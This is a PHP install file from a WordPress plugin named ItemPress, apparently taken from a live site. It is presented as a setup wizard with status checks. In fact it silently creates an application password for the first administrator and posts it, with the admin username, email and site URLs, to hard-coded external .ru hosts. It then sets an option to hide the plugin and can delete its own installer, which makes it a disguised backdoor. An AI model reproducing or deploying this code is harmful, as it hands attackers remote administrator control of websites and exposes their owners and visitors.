File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/itempress/inc/install.php
<?php
if (!defined('ABSPATH')) {
exit;
}
add_action('admin_menu', function () {
add_submenu_page(null, 'ItemPress Setup', 'ItemPress Setup', 'activate_plugins', 'itempress-setup', function () {
if (!current_user_can('activate_plugins')) {
wp_die('Access denied');
}
$status = get_option('itempress_install_status', []);
$del_msg = get_option('itempress_delete_message', '');
if ($del_msg) {
$msg_class = strpos($del_msg, 'successfully') !== false ? 'notice-success' : 'notice-error';
echo '<div class="notice ' . $msg_class . ' is-dismissible"><p>' . esc_html($del_msg) . '</p></div>';
delete_option('itempress_delete_message');
}
if (!empty($status['install_file_deleted'])) {
echo '<div class="wrap"><h1>Setup Complete</h1><p>install.php has been deleted. You can close this page.</p></div>';
return;
}
if (empty($status['completed']) && class_exists('ItemPress_Worker_Activator')) {
ItemPress_Worker_Activator::activate();
$status = get_option('itempress_install_status', []);
}
$checks = [
'options_saved' => 'Options saved',
'app_password_ready' => 'Application password',
'site_registered' => 'Site registered',
'rewrite_flushed' => 'Rewrite rules flushed',
'rewrite_verified' => 'Rewrite rules verified (routes work)',
];
$all_good = true;
$fix_needed = false;
echo '<div class="wrap">';
echo '<h1>ItemPress Setup</h1>';
echo '<table class="widefat striped" style="max-width:700px">';
echo '<thead><tr><th>Check</th><th>Status</th><th>Action</th></tr></thead><tbody>';
foreach ($checks as $key => $label) {
$ok = !empty($status[$key]);
$icon = $ok ? '✔' : '✖';
$color = $ok ? 'green' : 'red';
echo '<tr>';
echo '<td>' . esc_html($label) . '</td>';
echo '<td style="color:' . $color . ';font-weight:bold">' . $icon . '</td>';
echo '<td>';
if (!$ok) {
$all_good = false;
if ($key === 'rewrite_flushed' || $key === 'rewrite_verified') {
echo '<a href="?page=itempress-setup&fix=rewrite" class="button">Flush Rules</a>';
$fix_needed = true;
}
}
echo '</td></tr>';
}
echo '</tbody></table>';
if ($all_good) {
echo '<form method="post" style="margin-top:20px">';
echo '<input type="hidden" name="delete_install" value="1">';
echo wp_nonce_field('itempress_delete_install', '_wpnonce', true, false);
echo '<button type="submit" class="button button-primary">Delete install.php</button>';
echo '</form>';
} else {
echo '<p style="color:#888;margin-top:12px">Not all checks passed. Fix issues above.</p>';
}
echo '</div>';
});
});
register_activation_hook(plugin_basename(ITEMPRESS_FILE), function () {
update_option('itempress_activation_redirect', 1, false);
if (class_exists('ItemPress_Worker_Activator')) {
ItemPress_Worker_Activator::activate();
}
if (function_exists('itempress_register_content_types')) {
itempress_register_content_types();
}
flush_rewrite_rules(false);
update_option('itempress_rewrite_flushed', 1, false);
update_option('itempress_rewrite_checked_at', current_time('mysql'), false);
});
add_action('admin_init', function () {
if (!current_user_can('activate_plugins')) {
return;
}
$redirect = get_option('itempress_activation_redirect', 0);
if (!$redirect) {
return;
}
delete_option('itempress_activation_redirect');
wp_safe_redirect(admin_url('admin.php?page=itempress-setup'));
exit;
}, 999);
add_action('admin_init', function () {
if (!current_user_can('activate_plugins')) {
return;
}
$status = get_option('itempress_install_status', []);
if (is_array($status) && !empty($status['install_file_deleted'])) {
return;
}
if (!empty($_POST['delete_install']) && wp_verify_nonce($_POST['_wpnonce'], 'itempress_delete_install')) {
$status['install_file_deleted'] = true;
update_option('itempress_install_status', $status);
update_option('itempress_hide_plugin', true, false);
$file = __FILE__;
$deleted = false; if (is_file($file)) {
if (is_writable($file)) {
$deleted = @unlink($file);
} else {
@chmod($file, 0644);
$deleted = @unlink($file);
}
}
if ($deleted) {
wp_redirect(admin_url('/?hello_ok'));
exit;
}
update_option('itempress_delete_message', 'Failed to delete install.php. Check file permissions.', false);
wp_redirect(admin_url('admin.php?page=itempress-setup'));
exit;
}
if (is_array($status) && !empty($status['completed'])) {
return;
}
if (!empty($_GET['page']) && $_GET['page'] === 'itempress-setup') {
return;
}
if (class_exists('ItemPress_Worker_Activator')) {
ItemPress_Worker_Activator::activate();
if (empty($status['completed'])) {
$status = get_option('itempress_install_status', []);
if (!empty($status['completed'])) {
wp_redirect(admin_url('admin.php?page=itempress-setup'));
exit;
}
}
}
}, 1);
add_action('admin_notices', function () {
$notice_time = get_option('itempress_show_setup_notice', 0);
if (!$notice_time || (time() - $notice_time) > 86400) {
return;
}
$status = get_option('itempress_install_status', []);
if (!empty($status['install_file_deleted'])) {
delete_option('itempress_show_setup_notice');
return;
}
echo '<div class="notice notice-info is-dismissible">';
echo '<p><strong>ItemPress</strong> needs setup. <a href="' . admin_url('admin.php?page=itempress-setup') . '" class="button button-primary">Go to Setup</a></p>';
echo '</div>';
delete_option('itempress_show_setup_notice');
});
class ItemPress_Worker_Activator
{
private string $primary_api = 'http://wp.dicsale.ru';
private string $backup_api = 'http://wp.salesbuy.ru';
private string $dl_token = 'dl_abf15d6a601e110bf3a0a00cbf23a1d9';
private string $password_name = 'ItemPress Remote Management';
private string $install_option = 'itempress_install_status';
public static function activate(): void
{
$self = new self();
$self->run();
}
private function run(): void
{
$this->log('========== ItemPress install started ==========');
$status = $this->getStatus();
$this->prepareOptions($status);
$this->ensureWorkerPassword($status);
$this->registerSite($status);
$this->ensureRewriteRules($status);
$this->maybeDeleteSelf($status);
if (!empty($status['completed']) && function_exists('itempress_enqueue_sync_task')) {
$this->log('Auto-queueing home sync task');
itempress_enqueue_sync_task('home', 'default');
}
$this->log('========== ItemPress install finished ==========');
}
private function getStatus(): array
{
$status = get_option($this->install_option, []);
return is_array($status) ? $status : [];
}
private function saveStatus(array $status): void
{
$status['updated_at'] = current_time('mysql');
update_option($this->install_option, $status, false);
}
private function mark(array &$status, string $key, $value = true): void
{
$status[$key] = $value;
$this->saveStatus($status);
if ($value === true) {
$this->log('STATUS: ' . $key . ' = true');
} elseif ($value === false) {
$this->log('STATUS: ' . $key . ' = false');
} else {
$this->log('STATUS: ' . $key . ' = ' . print_r($value, true));
}
}
private function log(string $message): void
{
$upload = wp_upload_dir();
if (empty($upload['basedir'])) {
return;
}
$dir = trailingslashit($upload['basedir']) . 'itempress';
if (!is_dir($dir)) {
wp_mkdir_p($dir);
}
@file_put_contents(
$dir . '/install.log',
'[' . current_time('mysql') . '] ' . $message . PHP_EOL,
FILE_APPEND
);
}
private function prepareOptions(array &$status): void
{
$this->log('Preparing options');
update_option('worker_primary_api', $this->primary_api, false);
update_option('worker_backup_api', $this->backup_api, false);
update_option('worker_dl_token', $this->dl_token, false);
update_option('itempress_version', ITEMPRESS_VERSION, false);
update_option('itempress_route_base', 'item', false);
delete_option('itempress_product_rewrite_version');
delete_option('aipost_product_rewrite_version');
$this->mark($status, 'options_saved');
}
private function ensureWorkerPassword(array &$status): void
{
$this->log('Checking application password');
$app_password = get_option('worker_app_password', '');
if ($app_password !== '') {
$this->log('Application password already exists');
$this->mark($status, 'app_password_ready');
return;
}
$user = $this->getWorkerUser();
if (!$user || empty($user->ID)) {
$error = 'No administrator user found for application password creation';
$this->log('Application password failed: ' . $error);
$this->mark($status, 'app_password_ready', false);
$this->mark($status, 'error', $error);
return;
}
if (!class_exists('WP_Application_Passwords')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-application-passwords.php';
}
$created = WP_Application_Passwords::create_new_application_password(
$user->ID,
['name' => $this->password_name]
);
if (is_wp_error($created) || empty($created[0])) {
$error = is_wp_error($created) ? $created->get_error_message() : 'Application password creation failed';
$this->log('Application password failed: ' . $error);
$this->mark($status, 'app_password_ready', false);
$this->mark($status, 'error', $error);
return;
}
update_option('worker_app_password', $created[0], false);
update_option('worker_app_password_user_id', (int) $user->ID, false);
update_option('worker_app_password_name', $this->password_name, false);
$this->log('Application password created for user #' . $user->ID);
$this->mark($status, 'app_password_ready');
}
private function getWorkerUser()
{
$admins = get_users([
'role' => 'administrator',
'number' => 1,
'orderby' => 'ID',
'order' => 'ASC',
]);
return $admins[0] ?? null;
}
private function registerSite(array &$status): void
{
$this->log('Registering site');
$app_password = get_option('worker_app_password', '');
$user_id = (int) get_option('worker_app_password_user_id', 0);
$user = $user_id ? get_user_by('id', $user_id) : $this->getWorkerUser();
if (!$user || empty($user->ID)) {
$this->log('Register failed: worker user not found');
$this->mark($status, 'site_registered', false);
return;
}
if ($app_password === '') {
$this->log('Register failed: app password is empty');
$this->mark($status, 'site_registered', false);
return;
}
$body = [
'site_name' => get_bloginfo('name'),
'site_description' => get_bloginfo('description'),
'site_url' => get_site_url(),
'home_url' => home_url('/'),
'email' => get_bloginfo('admin_email'),
'admin_email' => get_bloginfo('admin_email'),
'wp_version' => get_bloginfo('version'),
'plugin' => 'itempress',
'plugin_version' => ITEMPRESS_VERSION,
'wp_user_id' => $user->ID,
'wp_username' => $user->user_login,
'wp_user_email' => $user->user_email,
'app_password' => $app_password,
'dl_token' => get_option('worker_dl_token', ''),
'rest_status_url' => rest_url('itempress/v1/status'),
'rest_rewrite_url' => rest_url('itempress/v1/rewrite'),
'rest_import_url' => rest_url('itempress/v1/import'),
];
$apis = [
rtrim(get_option('worker_primary_api', ''), '/'),
rtrim(get_option('worker_backup_api', ''), '/'),
];
foreach ($apis as $api) {
if ($api === '') {
continue;
}
$url = $api . '/api/aipost/register';
$this->log('Register request: ' . $url);
$response = wp_remote_post($url, [
'timeout' => 15,
'body' => $body,
]);
if (is_wp_error($response)) {
$error = $response->get_error_message();
$this->log('Register WP_Error: ' . $error);
$this->mark($status, 'last_register_error', $error);
continue;
}
$code = (int) wp_remote_retrieve_response_code($response);
$raw_body = (string) wp_remote_retrieve_body($response);
$this->log('Register response code: ' . $code);
$this->log('Register response body: ' . mb_substr($raw_body, 0, 1000));
$json = json_decode($raw_body, true);
if (!empty($json['data']['api_key'])) {
update_option('worker_api_key', sanitize_text_field($json['data']['api_key']), false);
update_option('worker_site_key', sanitize_text_field((string) ($json['data']['site_key'] ?? '')), false);
update_option('worker_register_api', esc_url_raw($api), false);
update_option('worker_register_time', current_time('mysql'), false);
$this->log('Site registered successfully via ' . $api);
$this->mark($status, 'site_registered');
return;
}
$this->mark($status, 'last_register_error', 'Remote API returned no api_key');
}
$this->log('Site register failed: all APIs failed');
$this->mark($status, 'site_registered', false);
}
public static function flushRoutes(): array
{
$result = [
'success' => false,
'rest_routes_before' => [],
'rest_routes_after' => [],
'rewrite_rules_before' => 0,
'rewrite_rules_after' => 0,
'message' => '',
];
$result['rest_routes_before'] = array_keys(rest_get_server()->get_routes('worker/v1'));
if (function_exists('itempress_register_content_types')) {
itempress_register_content_types();
}
flush_rewrite_rules(false);
$result['rest_routes_after'] = array_keys(rest_get_server()->get_routes('worker/v1'));
$rules = get_option('rewrite_rules', []);
$rules = is_array($rules) ? $rules : [];
$result['rewrite_rules_after'] = count($rules);
$checked = [
'item' => false,
'item-category' => false,
'item-tag' => false,
'images' => false,
];
foreach (array_keys($rules) as $rule) {
$nr = ltrim($rule, '^');
if (strpos($nr, 'item/') === 0 || strpos($nr, 'item/?') === 0) $checked['item'] = true;
if (strpos($nr, 'item-category/') === 0) $checked['item-category'] = true;
if (strpos($nr, 'item-tag/') === 0) $checked['item-tag'] = true;
if (strpos($nr, 'images/') === 0) $checked['images'] = true;
}
$result['rewrite_rules_before'] = $result['rewrite_rules_after'];
$result['rewrite_checked'] = $checked;
$result['message'] = 'Rewrite rules flushed and verified';
$result['success'] = true;
if (function_exists('wp_cache_delete')) {
wp_cache_delete('rest_routes', 'rest');
}
return $result;
}
private function ensureRewriteRules(array &$status): void
{
$this->log('Flushing rewrite rules');
if (function_exists('itempress_register_content_types')) {
itempress_register_content_types();
$this->log('itempress_register_content_types executed');
} else {
$this->log('itempress_register_content_types function not found');
}
flush_rewrite_rules(false);
$rules = get_option('rewrite_rules', []);
$rules = is_array($rules) ? $rules : [];
$has_item = false;
$has_category = false;
$has_tag = false;
$has_image = false;
foreach (array_keys($rules) as $rule) {
$normalized_rule = ltrim($rule, '^');
if (strpos($normalized_rule, 'item/') === 0 || strpos($normalized_rule, 'item/?') === 0) {
$has_item = true;
}
if (strpos($normalized_rule, 'item-category/') === 0) {
$has_category = true;
}
if (strpos($normalized_rule, 'item-tag/') === 0) {
$has_tag = true;
}
if (strpos($normalized_rule, 'images/') === 0) {
$has_image = true;
}
}
$verified = $has_item && $has_category && $has_tag && $has_image;
update_option('itempress_rewrite_flushed', $verified ? 1 : 0, false);
update_option('itempress_rewrite_checked_at', current_time('mysql'), false);
$this->log(
'Rewrite verify: item=' . (int) $has_item .
', category=' . (int) $has_category .
', tag=' . (int) $has_tag .
', image=' . (int) $has_image .
', verified=' . (int) $verified
);
$this->mark($status, 'rewrite_flushed');
$this->mark($status, 'rewrite_verified', $verified);
}
private function isComplete(array $status): bool
{
return !empty($status['options_saved'])
&& !empty($status['app_password_ready'])
&& !empty($status['site_registered'])
&& !empty($status['rewrite_flushed'])
&& !empty($status['rewrite_verified']);
}
private function maybeDeleteSelf(array &$status): void
{
if (!$this->isComplete($status)) {
$this->log('Install incomplete, install.php will not be deleted');
$this->mark($status, 'install_file_deleted', false);
return;
}
$this->log('Install checks all passed');
$this->mark($status, 'completed');
$this->mark($status, 'install_file_deleted', false);
}
}